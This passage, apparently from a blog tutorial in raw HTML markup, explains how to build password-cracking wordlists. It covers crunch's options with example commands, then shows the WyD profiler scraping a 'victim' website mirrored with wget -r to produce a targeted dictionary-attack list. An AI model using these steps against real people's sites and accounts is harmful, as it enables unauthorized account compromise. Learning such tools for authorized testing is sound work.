mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;-i = Inverts the output so instead of aab,aac,aad you get baa,caa,daa &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 49.5pt; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;-o &amp;lt;wordlist.txt&amp;gt; = defines the file to write output to &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 49.5pt; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;-p &amp;lt;charset&amp;gt; OR -p &amp;lt;word1 word2...&amp;gt; = This tells the tool to not generate words that have repeating characters and produces a much smaller wordlist, generally only helpful if you know the password policy doesn't allow this&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 49.5pt; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;-q &amp;lt;filename.txt&amp;gt; = tells the tool to read from filename.txt and perform permutations based on what is read from file. This can not be used with the -s or -t arguments below&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 85.5pt; mso-add-space: auto; mso-list: l0 level3 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"&gt;&lt;span style="mso-list: Ignore;"&gt;§&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;NOTE: it also ignores the min and max length arguments despite the fact that they must still be included as part of the sytax to run properly&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 49.5pt; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;-r = this tells the tool to resume where it left off, although you have to make you re=start it with the exact same command that was last used with the addition of the -r at the end (does not work with -s in original command so just remove it when resuming)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 49.5pt; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;-s &amp;lt;startblock&amp;gt; = this defines the string to start running crunch on &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 49.5pt; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;-t &amp;lt;@*%^&amp;gt; = this is helpful for someone who may have been shoulder surfing and knows some of the characters but not all, as this argument allows you to specify a pattern and define positions to replace (and how to replace), for example: &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 49.5pt; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;-t *^ssw@rd%&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 85.5pt; mso-add-space: auto; mso-list: l0 level3 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"&gt;&lt;span style="mso-list: Ignore;"&gt;§&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;__ssw_rd_ = the fixed letters&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 85.5pt; mso-add-space: auto; mso-list: l0 level3 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"&gt;&lt;span style="mso-list: Ignore;"&gt;§&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;@ will insert lower aplha (a-z)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 85.5pt; mso-add-space: auto; mso-list: l0 level3 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"&gt;&lt;span style="mso-list: Ignore;"&gt;§&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;* will insert upper alpha (A-Z)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 85.5pt; mso-add-space: auto; mso-list: l0 level3 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"&gt;&lt;span style="mso-list: Ignore;"&gt;§&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;% will insert numbers (0-9)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 85.5pt; mso-add-space: auto; mso-list: l0 level3 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"&gt;&lt;span style="mso-list: Ignore;"&gt;§&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;^ will insert symbols (!@#$%^&amp;amp;*)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 117pt; mso-add-space: auto; mso-list: l0 level4 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;Eventually this would work the word P@ssword1 into our final output which would help us find the password needed for this example&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="margin: 0in 0in 0pt 49.5pt; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;-z &amp;lt;gzip|bzip2|lzma&amp;gt; = This will tell crunch to compresses the output from the -o option using the chosen method (gzip/bzip2/lzma). &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;EXAMPLE: ./crunch 4 4 abc123 -b 1mb -o START&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Generates all possibilities of 4 characters in length (min is set to 4 and max as well) &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: 0.5in;"&gt;&lt;span style="font-family: Calibri;"&gt;using the charset of abc123, with defined output file size of not to exceed 1mb&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;EXAMPLE: ./crunch 1 4 abc123 -b 1mb -o START&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Generates all possibilities from 1 to 4 characters in length (min is set to 1 and max&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; is set to 4) using the charset of abc123, output files not to exceed 1mb&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;Calibri&amp;quot;, &amp;quot;sans-serif&amp;quot;; font-size: 11pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Calibri&amp;quot;, &amp;quot;sans-serif&amp;quot;; font-size: 11pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-qw730ERe_zo/Tfw4eqa8NbI/AAAAAAAAAAM/layA4LcC5FI/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="297" i$="true" src="http://3.bp.blogspot.com/-qw730ERe_zo/Tfw4eqa8NbI/AAAAAAAAAAM/layA4LcC5FI/s400/1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;Calibri&amp;quot;, &amp;quot;sans-serif&amp;quot;; font-size: 11pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;NOTE: You can use a quick "cat filename.txt" to check what words are created and inserted into the file, or "wc -l &amp;lt;filename.txt&amp;gt;" to list the word count. If you look at the above shots you can see how you can split the file output based on size, which is impacted by the length designated and char set used. You should be able to figure it out from here.&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;======================================================================&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;+++++++++++++(TUT) Who's Your Daddy Password Profiler (WYD)++++++++++++++++&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;======================================================================&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;OK, so that covers CRUNCH and how we use it to create a raw wordlist with every possibility, but this may take a while to attack with...so how can we increase our chances for dictionary attack? We can use the Who's Your Daddy password profiling tool, a.k.a. WyD, to aid us in creating a much narrower wordlist more targeted at the individuals or members of our target site. It and the next tool CUPP are brought to us by the great folks over at Social Engineer [dot] Org. The Who's Your Daddy Password Profiler is a great tool to have in your arsenal, as it can be used to scrape information from web content and the files found on websites to extract usable information that can be used in creating more effective wordlists for dictionary attacks. You can download it from the SE site, found here: &lt;a href="http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Who%27s_Your_Daddy_Password_Profiler_(WYD)"&gt;http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Who%27s_Your_Daddy_Password_Profiler_(WYD)&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;The supported file types that it is capable of scraping info from include: plain, html, php (partially, as html), doc, pdf, mp3, ppt, jpeg, odt/ods/odp, and anything unknown with MIME type text/plain will be processed with strings&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;As usual you will need download and extract the files in order to get starte, like so:&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND: tar -xvf wyd-0.2.tar.tar&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND: cd wyd-0.2/&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;To start WyD and see the options that we have available, simply type this:&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND: perl wyd.pl&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-mhx5QfwSTt8/Tfw4_JzkY9I/AAAAAAAAAAQ/kIdGoeTLQBg/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" i$="true" src="http://2.bp.blogspot.com/-mhx5QfwSTt8/Tfw4_JzkY9I/AAAAAAAAAAQ/kIdGoeTLQBg/s400/2.png" width="378" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;You may be asking: OK but how do I actually use this thing? Don't you worry; I will show you...We will need to use a common Linux tool called WGET to retrieve our entire victim's website. This tool is typically available by default in almost all Linux distros, so you should not have any problems. You can research this on the side as it has tons of options I can't go into here. For now just follow these steps to make a new folder and then move into it so we can recursively download the web content from our target site, like this:&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND: mkdir /victim-site&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND: cd victim-site/&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND: wget -r http://www.victim-site.com&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-cmOqqVcnnIY/Tfw5Om4fAGI/AAAAAAAAAAU/EnDhaTqSrVg/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" i$="true" src="http://4.bp.blogspot.com/-cmOqqVcnnIY/Tfw5Om4fAGI/AAAAAAAAAAU/EnDhaTqSrVg/s400/3.png" width="378" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;WGET will take a while to get everything but once it is done you can find the results in the victim-site/ folder you ran the WGET command from. Now in order to create a custom wordlist using WyD you will need to use the following command:&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;EXAMPLE: perl wyd.pl -o /path/to/ouput/file -t -b -e file/OR/path/to/victim-site/&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND:&amp;nbsp;wyd.pl -o victim-wordlist.txt -t -b -e /home/SkyWalker/victim-site/&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;Breakdown of the above, which I commonly use when running this:&lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="margin: 0in 0in 0pt 31.5pt; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;-o /path/to/output/file = tells it to send everything to file instead of printing to the screen via STDOUT. This file will become our potential wordlist (or wordlists if the -t argument is also used).&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 31.5pt; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;-t = this will tell it to create separate files based on each file type find that the tool uses to extract data from for profiling. This can only be used with the "-o" option referenced above, and will create as many output files as types found/used.&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;&lt;span style="mso-tab-count: 1;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 58.5pt; mso-add-space: auto; mso-list: l0 level3 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"&gt;&lt;span style="mso-list: Ignore;"&gt;§&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;NOTE/EXAMPLE: file is 'victim.txt' and there are words found in PDF, plain-text, JPEG and HTML files, you will find the following output files if used: 'victim.txt.pdf', 'victim.txt.jpeg', 'victim.txt.plain' and 'victim.txt.html'.&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 58.5pt; mso-add-space: auto; mso-list: l0 level3 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"&gt;&lt;span style="mso-list: Ignore;"&gt;§&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;-b = this will tell the tool to disable the removal of non-alpha characters from the start of a word, which can be helpful sometimes as the default behavior of WyD is to remove them.&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 31.5pt; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;-e = this will tell the tool to disable the removal of non-alpha characters from the end of a word, which can be helpful sometimes as the default behavior of WyD is to remove them.&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="margin: 0in 0in 0pt 31.5pt; mso-add-space: auto; mso-list: l0 level2 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&amp;lt;filename&amp;gt; OR /path/to/directory/ = this defines where WyD will work its magic&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-4p--CmvUXYY/Tfw5eTKCZlI/AAAAAAAAAAY/VUpoJP1ej0o/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" i$="true" src="http://1.bp.blogspot.com/-4p--CmvUXYY/Tfw5eTKCZlI/AAAAAAAAAAY/VUpoJP1ej0o/s400/4.png" width="333" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;ERRORS: If you experience any errors due to missing perl modules:&lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;Ignore them and WyD will still run, but it will run without any modules that had errors. Not the end of the world but not the best we can do either.&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;Install the missing perl modules that are referenced in the error notes. In order to do this take note of the modules (and associated websites) that are referenced in the errors.&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="margin: 0in 0in 0pt 76.5pt; mso-add-space: auto; mso-list: l0 level3 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"&gt;&lt;span style="mso-list: Ignore;"&gt;§&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;If you want to search via the web here is a great place to check details on any perl packages, and links to other helpful info: &lt;a href="http://search.cpan.org/"&gt;http://search.cpan.org/&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" 